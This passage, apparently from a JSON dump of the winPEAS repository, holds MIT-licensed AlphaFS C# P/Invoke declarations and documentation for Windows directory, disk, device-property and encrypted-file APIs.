[DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetupDiGetDeviceInterfaceDetail(SafeHandle hDevInfo, ref SP_DEVICE_INTERFACE_DATA deviceInterfaceData, ref SP_DEVICE_INTERFACE_DETAIL_DATA deviceInterfaceDetailData, [MarshalAs(UnmanagedType.U4)] uint deviceInterfaceDetailDataSize, IntPtr requiredSize, ref SP_DEVINFO_DATA deviceInfoData);\n\n      /// <summary>\n      ///   The SetupDiGetDeviceRegistryProperty function retrieves a specified Plug and Play device property.\n      /// </summary>\n      /// <remarks><para>Available in Microsoft Windows 2000 and later versions of Windows.</para></remarks>\n      /// <param name=\"deviceInfoSet\">Set the device information belongs to.</param>\n      /// <param name=\"deviceInfoData\">[in,out] Information describing the device information.</param>\n      /// <param name=\"property\">The property.</param>\n      /// <param name=\"propertyRegDataType\">[out] Type of the property register data.</param>\n      /// <param name=\"propertyBuffer\">Buffer for property data.</param>\n      /// <param name=\"propertyBufferSize\">Size of the property buffer.</param>\n      /// <param name=\"requiredSize\">Size of the required.</param>\n      /// <returns>\n      ///   <para>SetupDiGetDeviceRegistryProperty returns TRUE if the call was successful.</para>\n      ///   <para>Otherwise, it returns FALSE and the logged error can be retrieved by making a call to GetLastError.</para>\n      ///   <para>SetupDiGetDeviceRegistryProperty returns the ERROR_INVALID_DATA error code if the requested property does not exist for a\n      ///   device or if the property data is not valid.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetupDiGetDeviceRegistryProperty(SafeHandle deviceInfoSet, ref SP_DEVINFO_DATA deviceInfoData, SetupDiGetDeviceRegistryPropertyEnum property, IntPtr propertyRegDataType, SafeGlobalMemoryBufferHandle propertyBuffer, [MarshalAs(UnmanagedType.U4)] uint propertyBufferSize, IntPtr requiredSize);\n\n      #endregion // SetupDiXxx\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.DirectoryManagement.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>\n      ///   Creates a new directory.\n      ///   <para>If the underlying file system supports security on files and directories,</para>\n      ///   <para>the function applies a specified security descriptor to the new directory.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>Some file systems, such as the NTFS file system, support compression or encryption for individual files and\n      ///   directories.</para>\n      ///   <para>On volumes formatted for such a file system, a new directory inherits the compression and encryption attributes of its parent\n      ///   directory.</para>\n      ///   <para>An application can obtain a handle to a directory by calling <see cref=\"CreateFile\"/> with the FILE_FLAG_BACKUP_SEMANTICS\n      ///   flag set.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      /// <param name=\"lpPathName\">Full pathname of the file.</param>\n      /// <param name=\"lpSecurityAttributes\">The security attributes.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateDirectoryW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CreateDirectory([MarshalAs(UnmanagedType.LPWStr)] string lpPathName, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes);\n\n      /// <summary>\n      ///   Creates a new directory with the attributes of a specified template directory.\n      ///   <para>If the underlying file system supports security on files and directories,</para>\n      ///   <para>the function applies a specified security descriptor to the new directory.</para>\n      ///   <para>The new directory retains the other attributes of the specified template directory.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>The CreateDirectoryEx function allows you to create directories that inherit stream information from other directories.</para>\n      ///   <para>This function is useful, for example, when you are using Macintosh directories, which have a resource stream</para>\n      ///   <para>that is needed to properly identify directory contents as an attribute.</para>\n      ///   <para>Some file systems, such as the NTFS file system, support compression or encryption for individual files and\n      ///   directories.</para>\n      ///   <para>On volumes formatted for such a file system, a new directory inherits the compression and encryption attributes of its parent\n      ///   directory.</para>\n      ///   <para>You can obtain a handle to a directory by calling the <see cref=\"CreateFile\"/> function with the FILE_FLAG_BACKUP_SEMANTICS\n      ///   flag set.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpTemplateDirectory\">Pathname of the template directory.</param>\n      /// <param name=\"lpPathName\">Full pathname of the file.</param>\n      /// <param name=\"lpSecurityAttributes\">The security attributes.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero (0). To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateDirectoryExW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CreateDirectoryEx([MarshalAs(UnmanagedType.LPWStr)] string lpTemplateDirectory, [MarshalAs(UnmanagedType.LPWStr)] string lpPathName, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes);\n\n      /// <summary>\n      ///   Creates a new directory as a transacted operation, with the attributes of a specified template directory.\n      ///   <para>If the underlying file system supports security on files and directories,</para>\n      ///   <para>the function applies a specified security descriptor to the new directory.</para>\n      ///   <para>The new directory retains the other attributes of the specified template directory.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>The CreateDirectoryTransacted function allows you to create directories that inherit stream information from other\n      ///   directories.</para>\n      ///   <para>This function is useful, for example, when you are using Macintosh directories, which have a resource stream</para>\n      ///   <para>that is needed to properly identify directory contents as an attribute.</para>\n      ///   <para>Some file systems, such as the NTFS file system, support compression or encryption for individual files and\n      ///   directories.</para>\n      ///   <para>On volumes formatted for such a file system, a new directory inherits the compression and encryption attributes of its parent\n      ///   directory.</para>\n      ///   <para>You can obtain a handle to a directory by calling the <see cref=\"CreateFileTransacted\"/> function with the\n      ///   FILE_FLAG_BACKUP_SEMANTICS flag set.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpTemplateDirectory\">Pathname of the template directory.</param>\n      /// <param name=\"lpNewDirectory\">Pathname of the new directory.</param>\n      /// <param name=\"lpSecurityAttributes\">The security attributes.</param>\n      /// <param name=\"hTransaction\">The transaction.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero (0). To get extended error information, call GetLastError.</para>\n      ///   <para>This function fails with ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION if you try to create a</para>\n      ///   <para>child directory with a parent directory that has encryption disabled.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateDirectoryTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CreateDirectoryTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpTemplateDirectory, [MarshalAs(UnmanagedType.LPWStr)] string lpNewDirectory, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Retrieves the current directory for the current process.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The RemoveDirectory function marks a directory for deletion on close.</para>\n      ///   <para>Therefore, the directory is not removed until the last handle to the directory is closed.</para>\n      ///   <para>RemoveDirectory removes a directory junction, even if the contents of the target are not empty;</para>\n      ///   <para>the function removes directory junctions regardless of the state of the target object.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      /// <param name=\"nBufferLength\">The length of the buffer for the current directory string, in TCHARs. The buffer length must include room for a terminating null character.</param>\n      /// <param name=\"lpBuffer\">\n      ///   <para>A pointer to the buffer that receives the current directory string. This null-terminated string specifies the absolute path to the current directory.</para>\n      ///   <para>To determine the required buffer size, set this parameter to NULL and the nBufferLength parameter to 0.</para>\n      /// </param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value specifies the number of characters that are written to the buffer, not including the terminating null character.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2205:UseManagedEquivalentsOfWin32Api\")]\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetCurrentDirectoryW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetCurrentDirectory([MarshalAs(UnmanagedType.U4)] uint nBufferLength, StringBuilder lpBuffer);\n      \n      /// <summary>\n      ///   Deletes an existing empty directory.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The RemoveDirectory function marks a directory for deletion on close.</para>\n      ///   <para>Therefore, the directory is not removed until the last handle to the directory is closed.</para>\n      ///   <para>RemoveDirectory removes a directory junction, even if the contents of the target are not empty;</para>\n      ///   <para>the function removes directory junctions regardless of the state of the target object.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      /// <param name=\"lpPathName\">Full pathname of the file.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"RemoveDirectoryW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool RemoveDirectory([MarshalAs(UnmanagedType.LPWStr)] string lpPathName);\n\n      /// <summary>\n      ///   Deletes an existing empty directory as a transacted operation.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The RemoveDirectoryTransacted function marks a directory for deletion on close.</para>\n      ///   <para>Therefore, the directory is not removed until the last handle to the directory is closed.</para>\n      ///   <para>RemoveDirectory removes a directory junction, even if the contents of the target are not empty;</para>\n      ///   <para>the function removes directory junctions regardless of the state of the target object.</para>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpPathName\">Full pathname of the file.</param>\n      /// <param name=\"hTransaction\">The transaction.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"RemoveDirectoryTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool RemoveDirectoryTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpPathName, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Changes the current directory for the current process.\n      /// </summary>\n      /// <param name=\"lpPathName\">\n      ///   <para>The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.</para>\n      /// </param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2205:UseManagedEquivalentsOfWin32Api\")]\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SetCurrentDirectoryW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetCurrentDirectory([MarshalAs(UnmanagedType.LPWStr)] string lpPathName);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.DiskManagement.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>\n      ///   Retrieves information about the specified disk, including the amount of free space on the disk.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Symbolic link behavior: If the path points to a symbolic link, the operation is performed on the target.</para>\n      ///   <para>If this parameter is a UNC name, it must include a trailing backslash (for example, \"\\\\MyServer\\MyShare\\\").</para>\n      ///   <para>Furthermore, a drive specification must have a trailing backslash (for example, \"C:\\\").</para>\n      ///   <para>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpRootPathName\">Full pathname of the root file.</param>\n      /// <param name=\"lpSectorsPerCluster\">[out] The sectors per cluster.</param>\n      /// <param name=\"lpBytesPerSector\">[out] The bytes per sector.</param>\n      /// <param name=\"lpNumberOfFreeClusters\">[out] Number of free clusters.</param>\n      /// <param name=\"lpTotalNumberOfClusters\">[out] The total number of clusters.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetDiskFreeSpaceW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetDiskFreeSpace([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, [MarshalAs(UnmanagedType.U4)] out int lpSectorsPerCluster, [MarshalAs(UnmanagedType.U4)] out int lpBytesPerSector, [MarshalAs(UnmanagedType.U4)] out int lpNumberOfFreeClusters, [MarshalAs(UnmanagedType.U4)] out uint lpTotalNumberOfClusters);\n\n      /// <summary>\n      ///   Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space,\n      ///   <para>the total amount of free space, and the total amount of free space available to the user that is associated with the calling\n      ///   thread.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>Symbolic link behavior: If the path points to a symbolic link, the operation is performed on the target.</para>\n      ///   <para>The GetDiskFreeSpaceEx function returns zero (0) for lpTotalNumberOfFreeBytes and lpFreeBytesAvailable\n      ///   for all CD requests unless the disk is an unwritten CD in a CD-RW drive.</para>\n      ///   <para>If this parameter is a UNC name, it must include a trailing backslash, for example, \"\\\\MyServer\\MyShare\\\".</para>\n      ///   <para>This parameter does not have to specify the root directory on a disk.</para>\n      ///   <para>The function accepts any directory on a disk.</para>\n      ///   <para>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      /// <param name=\"lpDirectoryName\">Pathname of the directory.</param>\n      /// <param name=\"lpFreeBytesAvailable\">[out] The free bytes available.</param>\n      /// <param name=\"lpTotalNumberOfBytes\">[out] The total number of in bytes.</param>\n      /// <param name=\"lpTotalNumberOfFreeBytes\">[out] The total number of free in bytes.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero (0). To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetDiskFreeSpaceExW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetDiskFreeSpaceEx([MarshalAs(UnmanagedType.LPWStr)] string lpDirectoryName, [MarshalAs(UnmanagedType.U8)] out long lpFreeBytesAvailable, [MarshalAs(UnmanagedType.U8)] out long lpTotalNumberOfBytes, [MarshalAs(UnmanagedType.U8)] out long lpTotalNumberOfFreeBytes);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.EncryptedFileRaw.cs",
    "content": "﻿using System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal partial class NativeMethods\n   {\n      /// <summary>Opens an encrypted file in order to backup (export) or restore (import) the file.</summary>\n      /// <returns>If the function succeeds, it returns ERROR_SUCCESS.</returns>\n      /// <returns>If the function fails, it returns a nonzero error code defined in WinError.h. You can use FormatMessage with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic text description of the error.</returns>\n      /// <remarks>Minimum supported client: Windows XP Professional [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      /// <param name=\"lpFileName\">The name of the file to be opened.</param>\n      /// <param name=\"ulFlags\">The operation to be performed.</param>\n      /// <param name=\"pvContext\">[out] The address of a context block that must be presented in subsequent calls to\n      /// ReadEncryptedFileRaw, WriteEncryptedFileRaw, or CloseEncryptedFileRaw.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"Advapi32.dll\", SetLastError = false, CharSet = CharSet.Unicode, EntryPoint = \"OpenEncryptedFileRawW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint OpenEncryptedFileRaw([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, EncryptedFileRawMode ulFlags, out SafeEncryptedFileRawHandle pvContext);\n\n\n      /// <summary>Closes an encrypted file after a backup or restore operation, and frees associated system resources.</summary>\n      /// <remarks>Minimum supported client: Windows XP Professional [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      /// <param name=\"pvContext\">A pointer to a system-defined context block. The OpenEncryptedFileRaw function returns the context block.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"Advapi32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern void CloseEncryptedFileRaw(IntPtr pvContext);\n\n\n      /// <summary>Backs up (export) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <returns>If the function succeeds, it returns ERROR_SUCCESS.</returns>\n      /// <returns>If the function fails, it returns a nonzero error code defined in WinError.h. You can use FormatMessage with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic text description of the error.</returns>\n      /// <remarks>Minimum supported client: Windows XP Professional [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\"), SuppressUnmanagedCodeSecurity]\n      [DllImport(\"Advapi32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint ReadEncryptedFileRaw([MarshalAs(UnmanagedType.FunctionPtr)] EncryptedFileRawExportCallback pfExportCallback, IntPtr pvCallbackContext, SafeEncryptedFileRawHandle pvContext);\n\n\n      /// <summary>Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is intended to implement backup and restore functionality, while maintaining files in their encrypted state.</summary>\n      /// <returns>If the function succeeds, it returns ERROR_SUCCESS.</returns>\n      /// <returns>If the function fails, it returns a nonzero error code defined in WinError.h. You can use FormatMessage with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic text description of the error.</returns>\n      /// <remarks>Minimum supported client: Windows XP Professional [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"Advapi32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint WriteEncryptedFileRaw([MarshalAs(UnmanagedType.FunctionPtr)] EncryptedFileRawImportCallback pfExportCallback, IntPtr pvCallbackContext, SafeEncryptedFileRawHandle pvContext);\n\n\n      [SuppressUnmanagedCodeSecurity]\n      internal delegate int EncryptedFileRawExportCallback(IntPtr pbData, IntPtr pvCallbackContext, uint ulLength);\n\n      [SuppressUnmanagedCodeSecurity]\n      internal delegate int EncryptedFileRawImportCallback(IntPtr pbData, IntPtr pvCallbackContext, ref uint ulLength);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.FileManagement.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>\n      ///   Copies an existing file to a new file, notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>This function fails with ERROR_ACCESS_DENIED if the destination file already exists and has the FILE_ATTRIBUTE_HIDDEN or\n      ///   FILE_ATTRIBUTE_READONLY attribute set.</para>\n      ///   <para>This function preserves extended attributes, OLE structured storage, NTFS file system alternate data streams, security\n      ///   resource attributes, and file attributes.</para>\n      ///   <para>Windows 7, Windows Server 2008 R2, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n      ///   Security resource attributes (ATTRIBUTE_SECURITY_INFORMATION) for the existing file are not copied to the new file until\n      ///   Windows 8 and Windows Server 2012.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpExistingFileName\">Filename of the existing file.</param>\n      /// <param name=\"lpNewFileName\">Filename of the new file.</param>\n      /// <param name=\"lpProgressRoutine\">The progress routine.</param>\n      /// <param name=\"lpData\">The data.</param>\n      /// <param name=\"pbCancel\">[out] The pb cancel.</param>\n      /// <param name=\"dwCopyFlags\">The copy flags.</param>\n      /// <returns>\n      ///   <para>If the function 